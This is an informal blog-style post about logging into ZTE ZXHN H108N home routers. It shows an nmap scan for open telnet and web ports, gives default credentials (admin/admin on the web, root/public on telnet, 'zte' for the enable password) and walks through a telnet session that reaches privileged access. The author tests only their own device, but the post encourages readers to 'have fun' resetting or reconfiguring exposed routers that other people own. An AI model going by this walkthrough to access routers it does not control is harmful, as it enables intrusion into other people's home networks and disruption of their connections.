How about of hacking getting access  into a ZTE ZXHN H108N router though web/telnet?

Well thats not hacking, all password are default supplied by I S P (pointless to say their name)

However, my home network uses the livebox as a default gateway to the outside world; Some most  of the livebox are accessible from the net and worst with default logins.

Web connections:

Normally, those having a ZTE router can be scanned using NMAP:

nmap  X.X.X.X  -O -v  (Should be able to get info about the OS being used also)

PORT STATE SERVICE
23/tcp open telnet (I dont use a telnet service @home O.o -- why its opened)
80/tcp open http (my default webserver obviously)
443/tcp open https (SSL certificates are expensive... why this port opened? O.o)

If you browse the address https://ip/, you should be able to view the default login page of a ZTE router.

For the unlucky ones, whose ZTE router still have a default login, then the username/password is admin/admin 🙁

There you go, for having some fun

Telnet connections:

While others can still have fun by accessing its telnet console.
So, I have tested mine locally:-

lol@C-3PO:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

Username:admin
% Bad username!

Oops.. the admin username does not match its login 🙁

Lets try more, username: root,  (it asked the password… Yuppii)

password: toor … and so one does not passed

After making some search, I found that the default password is “public”  no reallly?? Oo

so username/password: root/public

Like other router, to get privileged access, we type enable:

CLI>enable
Password:

ohh not again another password!! so back to the net and came with a  password which is no less than “zte”

…and there you go with privileged access !!

The chose is yours, reset/reboot/change configuration using command line … ^_^

CLI>enable
